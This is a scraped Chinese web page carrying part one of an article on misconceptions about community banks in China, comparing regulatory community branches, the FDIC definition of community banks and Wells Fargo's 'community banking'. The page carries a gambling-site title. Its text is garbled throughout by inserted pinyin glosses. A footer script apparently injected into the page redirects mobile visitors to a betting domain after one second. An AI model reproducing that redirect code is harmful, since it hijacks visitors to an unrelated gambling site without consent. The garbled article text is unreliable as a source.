ku游戏网站

今天是2021年7月31日(ri) 星(xing)期六,欢迎(ying)光临本站 

科技金融

【原创】“社区银行”之殇(一)

文字:[大][中][小] 手机页面二维码 2021/6/25     浏览次数:    


2013年开(kai)始,全国各地(di)的(de)社(she)区银(yin)行如雨后春(chun)笋般,到处生根发芽,一晃(huang)快5年(nian)(nian)了,现在(zai)的(de)(de)社(she)区银(yin)行(xing)(xing)发展如何呢?近期频频有(you)新闻,一(yi)会儿说(shuo)某(mou)(mou)某(mou)(mou)银(yin)行(xing)(xing)关(guan)闭了多少(shao)个社(she)区银(yin)行(xing)(xing),一(yi)会儿又说(shuo)某(mou)(mou)某(mou)(mou)银(yin)行(xing)(xing)准备在(zai)几年(nian)(nian)内把社(she)区银(yin)行(xing)(xing)都撤销掉(diao)。很多新闻报导的(de)(de)目(mu)的(de)(de)在(zai)于抓眼球,就像几年(nian)(nian)前连篇累牍(du),好像不干社(she)区银(yin)行(xing)(xing)未来就没有(you)希望一(yi)样。事实上,更多的(de)(de)银(yin)行(xing)(xing)还(hai)在(zai)不断尝试和反思,希望探索出一(yi)条有(you)特色(se)的(de)(de)社(she)区银(yin)行(xing)(xing)之路来。

 

我们把这几年的(de)情况复一下盘,把社区银(yin)行认知(zhi)的(de)5个误(wu)区(qu)进行一(yi)下探讨,以期(qi)给大家一(yi)些启发。

 

误区一(yi):概念混淆


在(zai)交流(liu)中,很(hen)多人把(ba)社区(qu)支行(xing)(xing)、社区(qu)银行(xing)(xing)、社区(qu)银行(xing)(xing)经营等几(ji)(ji)个词(ci)混用(yong),其(qi)实这(zhei)几(ji)(ji)个词(ci)的含义并(bing)不相(xiang)同。


1、社(she)区(qu)支行(communitybranch

 

“社区支行”是支行网点的一种类型,主要是从网点的物理形态上来定义的,“社区支行”是监管(guan)机构(gou)针对特定网点类型进行行政管(guan)理的一类网点的称呼。

 

银(yin)监会发布的《关于中小商业(ye)银(yin)行(xing)(xing)设立社区支行(xing)(xing)、小微(wei)支行(xing)(xing)有(you)关事项的通知》(银监办发(fa)(2013)277号)中,用的是“社(she)区支(zhi)行”一词,而(er)不是“社(she)区银(yin)行”。社(she)区支(zhi)行是定位于服务社(she)区居(ju)民、实行有限牌照经营(ying)的简易(yi)型(xing)银(yin)行网点(dian),属于支(zhi)行的一种(zhong)特(te)殊类型(xing)。与传统支(zhi)行相比,社(she)区支(zhi)行定位特(te)定区域和(he)客户群体(ti),功能(neng)设置(zhi)可以简约,网点(dian)面积、经营(ying)规模、人员(yuan)配(pei)置(zhi)等可以进一步减(jian)少。

 

对于“社(she)区支(zhi)行(xing)”,有一套专门的管理办法,包(bao)括牌照的发放、管理要求、人(ren)员的配置要求等。通知中规定,“中小商业(ye)银(yin)行(xing)可(ke)根据(ju)需求一次提出多家社(she)区支(zhi)行(xing)、小微支(zhi)行(xing)设立申请,报相关银(yin)监(jian)局(ju)审批,其高(gao)管人(ren)员改为(wei)报告制不再(zai)做任职资格审核(he);社(she)区、小微支(zhi)行(xing)不再(zai)分筹建和开业(ye)两(liang)个(ge)阶段(duan),筹建前3个工(gong)作日向(xiang)拟(ni)设(she)地银监局(ju)报告,筹建结束(shu)后提出设(she)立申请,拟(ni)设(she)地银监局(ju)根(gen)据(ju)相关情(qing)况予(yu)以审核。”

 

由于(yu)其申报的(de)流(liu)程相对简化(hua),而且可(ke)以(yi)批量申请网点(dian)(dian),很多银行(xing)(xing)(尤其是网点(dian)(dian)不多的(de)股(gu)份制(zhi)商业(ye)银行(xing)(xing))其实是将“社(she)区支(zhi)行(xing)(xing)”作(zuo)为一种快(kuai)速扩张网点(dian)(dian)的(de)手段。

 

2、社区银行(community bank)

 

社区银行一词起源(yuan)于(yu)美国,根据美国联邦(bang)存款保险(xian)公司(FDIC)的定义,社区(qu)银行(xing)是符合(he)以下特(te)征的银行(xing):

-资(zi)产规模小于10亿美金

或者,资(zi)产规模大(da)于10亿美金(jin),但(dan)是符合:

-贷款占总资产比例>33%

-核心存款占(zhan)资产>50%

-网点(dian)数量不超过75个(ge)

-经营的地(di)域不(bu)超过3个(ge)州


美国联邦(bang)存款(kuan)保(bao)险公司把“社区银行”作为一种(zhong)银行机构的类(lei)别,区(qu)(qu)别于(yu)(yu)美国(guo)(guo)(guo)的四大行(xing)(花(hua)旗、富国(guo)(guo)(guo)、美洲、摩根(gen))和非社(she)(she)区(qu)(qu)银行(xing)。在美国(guo)(guo)(guo)的近7000家(jia)法人(ren)银行(xing)机构中,社(she)(she)区(qu)(qu)银行(xing)数(shu)量超过90%。从某种意(yi)义上来说,美国(guo)(guo)(guo)的社(she)(she)区(qu)(qu)银行(xing)有点类(lei)似于(yu)(yu)国(guo)(guo)(guo)内(nei)的城商(shang)行(xing)和农(nong)商(shang)行(xing)。




 3、社区银行业务(community banking)

 

在富(fu)国(guo)银(yin)行(xing)(xing)被爆出账户丑闻之前,国(guo)内银(yin)行(xing)(xing)只要谈到“社区(qu)银(yin)行(xing)(xing)”,就言(yan)必称(cheng)富(fu)国(guo)银(yin)行(xing)(xing)。下图为某一(yi)年富(fu)国(guo)银(yin)行(xing)(xing)年报中三(san)大业务板块银(yin)行(xing)(xing)业务收入的情况,在谈及社区(qu)银(yin)行(xing)(xing)业务时,旁边有一(yi)个括号(hao),括号(hao)内注明就是“零售银(yin)行(xing)(xing)业务(retail banking)”。可见富国银(yin)行(xing)是将社区银(yin)行(xing)业务(community banking)作为其业务的一种类别,富国(guo)银行认为其社区银行业务实质(zhi)就是零售银行业务

但是,如果翻看(kan)其他三大(da)行(xing)(花旗、美洲、摩(mo)根)的(de)年报,你(ni)就会发(fa)现这几家行(xing)并没(mei)有称其零(ling)售(shou)业务为“社区银行(xing)业务”,这又是为什么(me)呢?

 

这和富(fu)国银行(xing)的历史渊(yuan)源有关,和其他(ta)三大(da)行(xing)与生(sheng)俱来就是(shi)全国性银行(xing)甚至是(shi)国际(ji)银行(xing)的情况不一样(yang),富(fu)国银行(xing)在(zai)160多(duo)年前只是美国中(zhong)(zhong)西部(bu)的(de)一(yi)家小型地(di)(di)(di)方性银(yin)行,通过上百年来不断地(di)(di)(di)收购其他地(di)(di)(di)方性中(zhong)(zhong)小银(yin)行,逐渐地(di)(di)(di)曾(ceng)为了一(yi)家全国性的(de)银(yin)行,但其骨子里仍(reng)然是地(di)(di)(di)方性银(yin)行,强调和本地(di)(di)(di)社区(qu)居民(min)和中(zhong)(zhong)小型企业的(de)关(guan)系(relationship),这(zhei)也就是(shi)(shi)它(ta)为(wei)什么特意把自己的零售业(ye)务称为(wei)“社区(qu)(qu)银(yin)行(xing)业(ye)务”,以区(qu)(qu)别于其他(ta)全(quan)国性(xing)(xing)(xing)银(yin)行(xing)的竞(jing)争对(dui)手(shou)。富国银(yin)行(xing)宣(xuan)称,和全(quan)国性(xing)(xing)(xing)相(xiang)比(bi),它(ta)是(shi)(shi)基于社区(qu)(qu)的,关系至(zhi)上(shang),与生俱来就是(shi)(shi)社区(qu)(qu)银(yin)行(xing);和地方性(xing)(xing)(xing)银(yin)行(xing)相(xiang)比(bi),它(ta)又有全(quan)国性(xing)(xing)(xing)的经营网(wang)络,是(shi)(shi)一家全(quan)国性(xing)(xing)(xing)的银(yin)行(xing)。这(zhei)成为(wei)富国银(yin)行(xing)独(du)特的、差异性(xing)(xing)(xing)的竞(jing)争优势。

 

从银(yin)行(xing)(xing)(xing)(xing)规模(mo)上看,富国银(yin)行(xing)(xing)(xing)(xing)属(shu)于美国的四大行(xing)(xing)(xing)(xing),一度为全球市值最高银(yin)行(xing)(xing)(xing)(xing),和美国联邦存款(kuan)保险公(gong)司所划分的“社(she)区银(yin)行(xing)(xing)(xing)(xing)”有云(yun)泥之(zhi)别,当然(ran)不算(suan)是社(she)区银(yin)行(xing)(xing)(xing)(xing)。

 

从网(wang)点形态上来(lai)看,富(fu)国(guo)(guo)银行(xing)(xing)绝大(da)(da)多数的(de)(de)网(wang)点都和国(guo)(guo)内(nei)传统网(wang)点的(de)(de)面积大(da)(da)小(xiao)类似。富(fu)国(guo)(guo)银行(xing)(xing)也是近几年(nian)来(lai)才开始尝(chang)试类似国(guo)(guo)内(nei)“社区支行(xing)(xing)”的(de)(de)小(xiao)型网(wang)点,富(fu)国(guo)(guo)银行(xing)(xing)称之为(wei)“迷你网(wang)点”,时间(jian)上并不比(bi)国(guo)(guo)内(nei)银行(xing)(xing)早,而且数量(liang)上也只有为(wei)数不多的(de)(de)几个,其(qi)主要的(de)(de)目的(de)(de)是为(wei)了降低(di)网(wang)点开设的(de)(de)成本(ben),用更多的(de)(de)网(wang)点来(lai)对其(qi)客户(hu)进行(xing)(xing)覆(fu)盖。


和(he)富国银行(xing)的目的相(xiang)类似(si),近年来,四大行(xing)通(tong)过建立(li)微(wei)型(xing)网(wang)(wang)(wang)点(dian)或轻型(xing)网(wang)(wang)(wang)点(dian)(网(wang)(wang)(wang)点(dian)形态上和(he)社(she)区(qu)支行(xing)相(xiang)仿,但(dan)由于监(jian)管方式(shi)不一样,四大行(xing)不称(cheng)其为社(she)区(qu)支行(xing)),也(ye)主要是(shi)考虑降低(di)网(wang)(wang)(wang)点(dian)的物理和(he)人员(yuan)成本,网(wang)(wang)(wang)点(dian)瘦身,同时通(tong)过这种轻型(xing)网(wang)(wang)(wang)点(dian)对空白(bai)的价值区(qu)域进行(xing)低(di)成本的快速覆盖。


 

从(cong)“社(she)区银行(xing)(xing)业(ye)务(wu)(wu)”的(de)(de)种类(lei)上来看(kan),富国银行(xing)(xing)扎根于存贷等传统业(ye)务(wu)(wu),强(qiang)调(diao)对(dui)社(she)区零售业(ye)务(wu)(wu)的(de)(de)精耕细作,对(dui)衍生(sheng)品等业(ye)务(wu)(wu)一直非(fei)常谨慎,这也是它能够历经美(mei)国的(de)(de)次债(zhai)危机,在其(qi)他几大行(xing)(xing)由于遭受(shou)重创几乎要倒闭的(de)(de)时候(hou),反而(er)能独善其(qi)身,而(er)且以小吃大兼并美(mei)联银行(xing)(xing),为成为全球市(shi)值最大银行(xing)(xing)奠定了基础。

 

因而(er),说富国银(yin)行(xing)是(shi)(shi)“社区银(yin)行(xing)”其实是(shi)(shi)有所偏颇的(de),其实指的(de)是(shi)(shi)富国银(yin)行(xing)深耕社区银(yin)行(xing)业(ye)务的(de)经营模式(shi)。

 

综合以上对“社区支行”、“社区银行”、“社区银行业务”的分析我们可以看到,发展“社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)业(ye)务(wu)(wu)”的(de)(de)未(wei)必都是(shi)(shi)“社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)”,如富(fu)国银(yin)(yin)(yin)行(xing)就是(shi)(shi)一(yi)个反例(li),富(fu)国银(yin)(yin)(yin)行(xing)不是(shi)(shi)社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing),但“社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)业(ye)务(wu)(wu)”是(shi)(shi)富(fu)国银(yin)(yin)(yin)行(xing)一(yi)百多年来(lai)稳(wen)定(ding)发展的(de)(de)致胜(sheng)法(fa)宝;“社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)”的(de)(de)网(wang)(wang)点形态未(wei)必都是(shi)(shi)“社(she)(she)区(qu)(qu)支行(xing)”,如安快银(yin)(yin)(yin)行(xing)从规模上来(lai)说(shuo)是(shi)(shi)家(jia)典型的(de)(de)“社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)”,但是(shi)(shi)其并未(wei)用“社(she)(she)区(qu)(qu)支行(xing)”作(zuo)为(wei)其网(wang)(wang)点的(de)(de)形态,其特色化的(de)(de)社(she)(she)区(qu)(qu)银(yin)(yin)(yin)行(xing)经营理念和(he)方式才是(shi)(shi)最(zui)为(wei)业(ye)内所称道的(de)(de)。

 

在汉语里,社(she)区其实是个外来语。20世(shi)纪30年代中国社会学家在翻译英文学术著作时(shi),把英语单(dan)词community翻译成社区,从此汉语里有(you)了这个词(ci)语。社(she)区的(de)(de)特点:有(you)一定的(de)(de)地理(li)区域;有(you)一定数(shu)量的(de)(de)人口;居民之间有(you)共同的(de)(de)意识(shi)和利益;有(you)着较(jiao)密切的(de)(de)社(she)会交往。“社(she)区”更像我(wo)们所(suo)说的(de)(de)细分客户(hu)群(qun)(qun)体(ti),以某一类客户(hu)(包(bao)括年龄(ling)、收入、消费水平、行为习(xi)惯等)为代表的(de)(de)客户(hu)群(qun)(qun)体(ti)

 

在(zai)大(da)(da)城市(shi)(shi)(shi)中(zhong),除了部分(fen)规划的(de)(de)社(she)区(qu)(qu)(qu)之外(如上(shang)海市(shi)(shi)(shi)的(de)(de)曹杨、凉城、联洋等社(she)区(qu)(qu)(qu))大(da)(da)多数(shu)社(she)区(qu)(qu)(qu)的(de)(de)边界并不是很明显,在(zai)一个地理区(qu)(qu)(qu)域内,各类居住人群的(de)(de)分(fen)布其(qi)实(shi)是犬牙交错的(de)(de),社(she)会交往(wang)也并非十分(fen)密切。相反(fan),在(zai)中(zhong)小(xiao)(xiao)型城市(shi)(shi)(shi)和城镇中(zhong),社(she)区(qu)(qu)(qu)的(de)(de)特(te)征(zheng)相对(dui)明显,扎根于中(zhong)小(xiao)(xiao)城市(shi)(shi)(shi)的(de)(de)地方性银行的(de)(de)“社(she)区(qu)(qu)(qu)银行”的(de)(de)特(te)征(zheng)要(yao)强于大(da)(da)中(zhong)型城市(shi)(shi)(shi)。

 

国(guo)内占主要(yao)比重的(de)(de)(de)城商(shang)行(xing)(xing)和农(nong)商(shang)行(xing)(xing),天然就(jiu)是“社(she)区(qu)银行(xing)(xing)”,但是未必都在(zai)(zai)社(she)区(qu)银行(xing)(xing)业务上做的(de)(de)(de)很好。早(zao)些年(nian),有(you)一家(jia)城商(shang)行(xing)(xing)的(de)(de)(de)主要(yao)领(ling)导是从四大行(xing)(xing)调任(ren)过来的(de)(de)(de),他抛弃(qi)了该城商(shang)行(xing)(xing)的(de)(de)(de)传统业务做法(fa),而把主要(yao)精力放在(zai)(zai)大中型企业项(xiang)目上,结(jie)果在(zai)(zai)经济周期(qi)中遭受了重创。这样一家(jia)行(xing)(xing)就(jiu)很难称其为“社(she)区(qu)银行(xing)(xing)”了。


(未完待续(xu))

返回上一步
打印此页
13818970338
浏览(lan)手(shou)机站
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();